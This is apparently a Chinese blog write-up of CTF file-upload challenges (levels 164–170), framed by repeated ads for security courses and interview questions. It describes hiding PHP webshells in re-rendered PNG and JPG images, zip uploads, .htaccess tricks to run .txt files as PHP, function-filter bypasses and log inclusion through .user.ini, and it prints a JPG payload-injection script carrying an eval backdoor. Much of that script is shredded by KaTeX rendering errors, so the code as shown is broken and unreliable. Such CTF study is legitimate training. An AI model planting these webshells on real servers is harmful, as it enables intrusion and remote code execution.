一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
imagepng($img,‘E:\各种各样的马\图片马.png’);
?>
p数组中是给图片的颜色资源,整体上说就是依据p生成出来的图片包含木马:
![](https://img-blog.csdnimg.cn/direct/0b27007803a447a28ef400347df4423d.png)
![](https://img-blog.csdnimg.cn/direct/eb390901e1d24c4988fab568b3435cda.png)
至于这个脚本是怎么绕过二次渲染,我也不能完全理解脚本原理,也许是根据P数组创造图片马能符合二次渲染不被渲染到的规律?这里希望能得到大家的指点。
上传生成的图片,成功访问,抓包到上传的图片内容:
![](https://img-blog.csdnimg.cn/direct/7063993311a444eb94b89077bc76d5cd.png)
说明里面的后门代码生效了,且内容在图片内容里面,抓包或者010editor等里面才看得出来,浏览器看不出来。
开始常规操作:
![](https://img-blog.csdnimg.cn/direct/07820286d0a44edca480c5ecf091dd6e.png)
![](https://img-blog.csdnimg.cn/direct/55084089171c40d683ec2324f767e229.png)
得到flag。
但是当我传递0=eval,然后1=system()这种类型的时候,会对eval进行报错。
![](https://img-blog.csdnimg.cn/direct/62b8b617a8f046178f24cc0399461060.png)
原因:PHP对于$a()的函数形式称为可变函数,如果$a是函数才可被调用,不是就会报错。而**eval是一个语言构造器,而不是函数**,就会报错。且在php**7.1**以上,assert也变成了语言构造器,也会报错。
这里附上这两篇文章:
[动态调用函数时的命令执行对于eval()和assert()的执行问题\_cannot call assert() with string argument dynamica-CSDN博客]( )和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客")
[https://www.cnblogs.com/0daybug/p/12610834.html]( )
## 165.JPG二次渲染
其他的和上题一样,只是这道题要用到JPG的二次渲染。
要用这个脚本运行:
<?php $miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset(
a
r
g
v
[
1
]
)
)
d
i
e
(
′
p
h
p
j
p
g
p
a
y
l
o
a
d
.
p
h
p
<
j
p
g
n
a
m
e
.
j
p
g
>
′
)
;
s
e
t
e
r
r
o
r
h
a
n
d
l
e
r
(
"
c
u
s
t
o
m
e
r
r
o
r
h
a
n
d
l
e
r
"
)
;
f
o
r
(
argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for(
argv[1])) die(′phpjpgpayload.php<jpgname.jpg>′);seterrorhandler("customerrorhandler");for(pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
d
i
s
=
n
e
w
D
a
t
a
I
n
p
u
t
S
t
r
e
a
m
(
dis = new DataInputStream(
dis=newDataInputStream(argv[1]);
o
u
t
S
t
r
e
a
m
=
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
outStream = file_get_contents(
outStream=filegetcontents(argv[1]);
$extraBytes = 0;
c
o
r
r
e
c
t
I
m
a
g
e
=
T
R
U
E
;
i
f
(
correctImage = TRUE; if(
correctImage=TRUE; if(dis->readShort() != 0xFFD8) {
die(‘Incorrect SOI marker’);
}
while((!KaTeX parse error: Expected 'EOF', got '&' at position 13: dis->eof()) &̲& (dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
d
i
s
−
>
s
k
i
p
(
dis->skip(
dis−>skip(size);
if($marker === 0xDA) {
$startPos = $dis->seek();
o
u
t
S
t
r
e
a
m
T
m
p
=
s
u
b
s
t
r
(
outStreamTmp = substr(
outStreamTmp= substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 43: … str_repeat("\̲0̲",nullbytePayloadSize) .
substr($outStream, KaTeX parse error: Expected group after '_' at position 36: … checkImage('_̲'.argv[1],
o
u
t
S
t
r
e
a
m
T
m
p
,
T
R
U
E
)
;
i
f
(
outStreamTmp, TRUE); if(
outStreamTmp,TRUE); if(extraBytes !== 0) {
while((!KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
o
u
t
S
t
r
e
a
m
=
s
u
b
s
t
r
(
outStream = substr(
outStream= substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 79: … str_repeat("\̲0̲",nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
n
u
l
l
b
y
t
e
P
a
y
l
o
a
d
S
i
z
e
+
nullbytePayloadSize+
nullbytePayloadSize+imageStreamSize-
e
x
t
r
a
B
y
t
e
s
)
.
s
u
b
s
t
r
(
extraBytes) . substr(
extraBytes). substr(outStream, KaTeX parse error: Expected 'EOF', got '}' at position 23: …); }̲ elseif(correctImage) {
$outStream = KaTeX parse error: Expected 'EOF', got '}' at position 27: …p; }̲ else { …argv[1], KaTeX parse error: Expected 'EOF', got '}' at position 114: … } }̲ } } unlink…argv[1]);
die(‘Something’s wrong’);
function checkImage($filename, $data, $unlink = FALSE) {
global
c
o
r
r
e
c
t
I
m
a
g
e
;
f
i
l
e
p
u
t
c
o
n
t
e
n
t
s
(
correctImage; file_put_contents(
correctImage; fileputcontents(filename, $data);
c
o
r
r
e
c
t
I
m
a
g
e
=
T
R
U
E
;
i
m
a
g
e
c
r
e
a
t
e
f
r
o
m
j
p
e
g
(
correctImage = TRUE; imagecreatefromjpeg(
correctImage=TRUE; imagecreatefromjpeg(filename);
if(
u
n
l
i
n
k
)
u
n
l
i
n
k
(
unlink) unlink(
unlink) unlink(filename);
return KaTeX parse error: Expected 'EOF', got '}' at position 15: correctImage; }̲ function custo…errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if(isset(m[1])) {
e
x
t
r
a
B
y
t
e
s
=
(
i
n
t
)
extraBytes = (int)
extraBytes=(int)m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private KaTeX parse error: Expected group after '_' at position 27: …ublic function _̲_construct(filename, $order = false, $fromString = false) {
$this->binData = ‘’;
$this->order =
o
r
d
e
r
;
i
f
(
!
order; if(!
order; if(!fromString) {
if(!file_exists(
f
i
l
e
n
a
m
e
)
∣
∣
!
i
s
f
i
l
e
(
filename) || !is_file(
filename)∣∣!isfile(filename))
die(‘File not exists [’.$filename.‘]’);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
this->binData = file_get_contents(
this−>binData=filegetcontents(filename);
} else {
$this->binData = $filename;
}
t
h
i
s
−
>
s
i
z
e
=
s
t
r
l
e
n
(
this->size = strlen(
this−>size=strlen(this->binData);
}
public function seek() {
return (
t
h
i
s
−
>
s
i
z
e
−
s
t
r
l
e
n
(
this->size - strlen(
this−>size−strlen(this->binData));
}
public function skip($skip)
{
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, KaTeX parse error: Expected 'EOF', got '}' at position 12: skip); }̲ public fun…this->eof()) {
die(‘End Of File’);
}
b
y
t
e
=
s
u
b
s
t
r
(
byte = substr(
byte=substr(this->binData, 0, 1);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, 1);
return ord(KaTeX parse error: Expected 'EOF', got '}' at position 12: byte); }̲ public f…this->binData) < 2) {
die(‘End Of File’);
}
s
h
o
r
t
=
s
u
b
s
t
r
(
short = substr(
short=substr(this->binData, 0, 2);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, 2);
if($this->order) {
s
h
o
r
t
=
(
o
r
d
(
short = (ord(
short=(ord(short[1]) << 8) + ord($short[0]);
} else {
s
h
o
r
t
=
(
o
r
d
(
short = (ord(
short=(ord(short[0]) << 8) + ord($short[1]);
}
return KaTeX parse error: Expected 'EOF', got '}' at position 12: short; }̲ public f…this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法:在同一文件夹下放入这个脚本和图片,打开cmd命令:php jpg.php 1.jpg
图片要上传后经服务器渲染后再来运行脚本,这样可以使渲染修改得最小。
我用了十多张图片,才找到一张能拿后门的
![](https://img-blog.csdnimg.cn/direct/cc0bd231ea0c4aaeb349c134f3abce6a.jpeg)
其他的要么是这种:
![](https://img-blog.csdnimg.cn/direct/b44fe9ba1522406fb8c2e70702852b6c.png)
要么是这种:
![](https://img-blog.csdnimg.cn/direct/ee0e35efbff54e9a81da230e03b36c46.png)
然后最后常规操作得到flag。
![](https://img-blog.csdnimg.cn/direct/481e9fc87b3f40daae45f40ed7df319d.png)
## 166.zip
上传一个zip格式文件,写下后门代码
![](https://img-blog.csdnimg.cn/direct/68ed6a9dd3d9406e9b7cea6d5d336cd8.png)
![](https://img-blog.csdnimg.cn/direct/3000ab896985466f87147627397ddc78.png)
点击 下载文件 进行抓包
![](https://img-blog.csdnimg.cn/direct/6c35bec7c3fd473eb9ab5735c5c6588e.png)
这里我的后门代码给的是post一定要把请求方法改成post(URL前面的),我以前一直没有注意这个细节,想来有很多莫名其妙的问题多半是因为这个。
![](https://img-blog.csdnimg.cn/direct/14b7c59d205746b9b57921a202a61a73.png)
然后常规操作。
![](https://img-blog.csdnimg.cn/direct/b9df189bfa864a8f9b0b8edddc8a9a88.png)
##
## 167. htaccess配置文件
将AddType application/x-httpd-php .txt写入.htaccess配置文件。
意为将.txt文件解析为.php文件。
所以如果能上传这个文件,就不需要前面的文件包含漏洞来配合文件上传。
经过实验,这关没有什么过滤。
直接抓包把.htaccess和写有后门的1.txt日上去。
然后常规操作。
##
## 168.基础免杀
这道题有个小坑,文件目录在upload下面,而不是点击那个下载文件所在的目录。
这道题把system和eval这些危险函数或语言构造器过滤了,所以可以用构造可变函数来绕过(也可以用反引号表示命令的方法):
![](https://img-blog.csdnimg.cn/direct/932716291f36433cb72e450bfab2d5a4.png)
![](https://img-blog.csdnimg.cn/direct/4c36ddbc24c54c51a4d09dff0ca8a133.png)
可以再次验证一下164关提到的东西:
![](https://img-blog.csdnimg.cn/direct/25519e63e1bf4e19a0c1e9c39311f9c4.png)
eval不是函数,是语言构造器,可变函数变量传递的值必须是函数。
## 169&170 plus日志包含
踩的一个坑:前端需要上传zip文件,服务器却检测MIME是不是image/.....
这道题直接把<都给过滤了。那么想到之前做题的思路,不能直接执行后门则找包含点。这道题URL不是之前的?file=这种有包含点的形式了,所以想到日志包含。
日志包含的时候我们是上传.user.ini文件,且要.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用,所以先上传了一个没有内容的1.php文件上去,再上传.user.ini文件包含日志:
![](https://img-blog.csdnimg.cn/direct/28bd08c58cc34f3d983c3a7708843609.png)
成功了,再给UA头注入后门,post恶意代码:
![](https://img-blog.csdnimg.cn/direct/63e89faef05f46e0a9e890cc4b7abe0f.png)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**